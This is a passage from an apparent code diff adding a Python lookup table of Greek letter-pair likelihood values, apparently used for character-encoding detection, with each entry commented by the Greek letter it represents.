60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 1, # 'Ε' + 40: 1, # 'Η' + 52: 0, # 'Θ' + 47: 1, # 'Ι' + 44: 0, # 'Κ' + 53: 1, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 2, # 'ά' + 18: 2, # 'έ' + 22: 2, # 'ή' + 15: 0, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 2, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 2, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 0, # 'π' + 8: 2, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 43: { # 'Γ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 1, # 'Α' + 51: 0, # 'Β' + 43: 2, # 'Γ' + 41: 0, # 'Δ' + 34: 2, # 'Ε' + 40: 1, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 1, # 'Κ' + 53: 1, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 1, # 'Ο' + 35: 0, # 'Π' + 48: 2, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 2, # 'Υ' + 56: 0, # 'Φ' + 50: 1, # 'Χ' + 57: 2, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 2, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 2, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 0, # 'μ' + 6: 2, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 0, # 'π' + 8: 2, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 41: { # 'Δ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 2, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 2, # 'ή' + 15: 2, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 2, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 0, # 'π' + 8: 2, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 2, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 2, # 'ω' + 19: 1, # 'ό' + 26: 2, # 'ύ' + 27: 2, # 'ώ' + }, + 34: { # 'Ε' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 0, # 'Β' + 43: 2, # 'Γ' + 41: 2, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 2, # 'Κ' + 53: 2, # 'Λ' + 38: 2, # 'Μ' + 49: 2, # 'Ν' + 59: 1, # 'Ξ' + 39: 0, # 'Ο' + 35: 2, # 'Π' + 48: 2, # 'Ρ' + 37: 2, # 'Σ' + 33: 2, # 'Τ' + 45: 2, # 'Υ' + 56: 0, # 'Φ' + 50: 2, # 'Χ' + 57: 2, # 'Ω' + 17: 3, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 3, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 3, # 'γ' + 21: 2, # 'δ' + 3: 1, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 1, # 'θ' + 5: 2, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 2, # 'μ' + 6: 3, # 'ν' + 30: 2, # 'ξ' + 4: 0, # 'ο' + 9: 3, # 'π' + 8: 2, # 'ρ' + 14: 0, # 'ς' + 7: 2, # 'σ' + 2: 2, # 'τ' + 12: 2, # 'υ' + 28: 2, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 1, # 'ύ' + 27: 0, # 'ώ' + }, + 40: { # 'Η' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 1, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 2, # 'Θ' + 47: 0, # 'Ι' + 44: 2, # 'Κ' + 53: 0, # 'Λ' + 38: 2, # 'Μ' + 49: 2, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 2, # 'Π' + 48: 2, # 'Ρ' + 37: 2, # 'Σ' + 33: 2, # 'Τ' + 45: 1, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 0, # 'μ' + 6: 1, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 1, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 52: { # 'Θ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 1, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 1, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 2, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 2, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 2, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 2, # 'ύ' + 27: 0, # 'ώ' + }, + 47: { # 'Ι' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 1, # 'Β' + 43: 1, # 'Γ' + 41: 2, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 2, # 'Κ' + 53: 2, # 'Λ' + 38: 2, # 'Μ' + 49: 2, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 2, # 'Ρ' + 37: 2, # 'Σ' + 33: 2, # 'Τ' + 45: 0, # 'Υ' + 56: 2, # 'Φ' + 50: 0, # 'Χ' + 57: 2, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 2, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 1, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 2, # 'σ' + 2: 1, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 1, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 44: { # 'Κ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 1, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 1, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 2, # 'Ρ' + 37: 0, # 'Σ' + 33: 1, # 'Τ' + 45: 2, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 1, # 'Ω' + 17: 3, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 2, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 2, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 0, # 'π' + 8: 2, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 2, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 2, # 'ό' + 26: 2, # 'ύ' + 27: 2, # 'ώ' + }, + 53: { # 'Λ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 0, # 'Κ' + 53: 2, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 2, # 'Σ' + 33: 0, # 'Τ' + 45: 2, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 2, # 'Ω' + 17: 2, # 'ά' + 18: 2, # 'έ' + 22: 0, # 'ή' + 15: 2, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 2, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 1, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 2, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 2, # 'ό' + 26: 2, # 'ύ' + 27: 0, # 'ώ' + }, + 38: { # 'Μ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 2, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 2, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 2, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 2, # 'ά' + 18: 2, # 'έ' + 22: 2, # 'ή' + 15: 2, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 2, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 3, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 2, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 2, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 49: { # 'Ν' + 60: 2, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 2, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 2, # 'Ω' + 17: 0, # 'ά' + 18: 2, # 'έ' + 22: 0, # 'ή' + 15: 2, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 1, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 1, # 'ω' + 19: 2, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 59: { # 'Ξ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 1, # 'Ε' + 40: 1, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 1, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 2, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 2, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 39: { # 'Ο' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 1, # 'Β' + 43: 2, # 'Γ' + 41: 2, # 'Δ' + 34: 2, # 'Ε' + 40: 1, # 'Η' + 52: 2, # 'Θ' + 47: 2, # 'Ι' + 44: 2, # 'Κ' + 53: 2, # 'Λ' + 38: 2, # 'Μ' + 49: 2, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 2, # 'Π' + 48: 2, # 'Ρ' + 37: 2, # 'Σ' + 33: 2, # 'Τ' + 45: 2, # 'Υ' + 56: 2, # 'Φ' + 50: 2, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 2, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 2, # 'κ' + 16: 2, # 'λ' + 10: 2, # 'μ' + 6: 2, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 2, # 'π' + 8: 2, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 2, # 'τ' + 12: 2, # 'υ' + 28: 1, # 'φ' + 23: 1, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 2, # 'ύ' + 27: 0, # 'ώ' + }, + 35: { # 'Π' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 2, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 0, # 'Κ' + 53: 2, # 'Λ' + 38: 1, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 2, # 'Ρ' + 37: 0, # 'Σ' + 33: 1, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 1, # 'Χ' + 57: 2, # 'Ω' + 17: 2, # 'ά' + 18: 1, # 'έ' + 22: 1, # 'ή' + 15: 2, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 2, # 'η' + 25: 0, # 'θ' + 5: 2, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 0, # 'μ' + 6: 2, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 3, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 2, # 'υ' + 28: 0, # 'φ' + 23: 2, # 'χ' + 42: 0, # 'ψ' + 24: 2, # 'ω' + 19: 2, # 'ό' + 26: 0, # 'ύ' + 27: 3, # 'ώ' + }, + 48: { # 'Ρ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 0, # 'Β' + 43: 1, # 'Γ' + 41: 1, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 2, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 2, # 'Ρ' + 37: 0, # 'Σ' + 33: 1, # 'Τ' + 45: 1, # 'Υ' + 56: 0, # 'Φ' + 50: 1, # 'Χ' + 57: 1, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 2, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 1, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 3, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 2, # 'ω' + 19: 0, # 'ό' + 26: 2, # 'ύ' + 27: 0, # 'ώ' + }, + 37: { # 'Σ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 1, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 2, # 'Κ' + 53: 0, # 'Λ' + 38: 2, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 2, # 'Σ' + 33: 2, # 'Τ' + 45: 2, # 'Υ' + 56: 0, # 'Φ' + 50: 2, # 'Χ' + 57: 2, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 2, # 'ή' + 15: 2, # 'ί' + 1: 2, # 'α' + 29: 2, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 0, # 'θ' + 5: 2, # 'ι' + 11: 2, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 2, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 0, # 'φ' + 23: 2, # 'χ' + 42: 0, # 'ψ' + 24: 2, # 'ω' + 19: 0, # 'ό' + 26: 2, # 'ύ' + 27: 2, # 'ώ' + }, + 33: { # 'Τ' + 60: 0, # 'e' + 55: 1, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 2, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 2, # 'Ρ' + 37: 0, # 'Σ' + 33: 1, # 'Τ' + 45: 1, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 2, # 'Ω' + 17: 2, # 'ά' + 18: 2, # 'έ' + 22: 0, # 'ή' + 15: 2, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 2, # 'ε' + 32: 0, # 'ζ' + 13: 2, # 'η' + 25: 0, # 'θ' + 5: 2, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 2, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 2, # 'ρ' + 14: 0, # 'ς' + 7: 2, # 'σ' + 2: 0, # 'τ' + 12: 2, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 2, # 'ό' + 26: 2, # 'ύ' + 27: 3, # 'ώ' + }, + 45: { # 'Υ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 2, # 'Γ' + 41: 0, # 'Δ' + 34: 1, # 'Ε' + 40: 2, # 'Η' + 52: 2, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 1, # 'Λ' + 38: 2, # 'Μ' + 49: 2, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 2, # 'Π' + 48: 1, # 'Ρ' + 37: 2, # 'Σ' + 33: 2, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 1, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 3, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 56: { # 'Φ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 1, # 'Α' + 51: 0, # 'Β' + 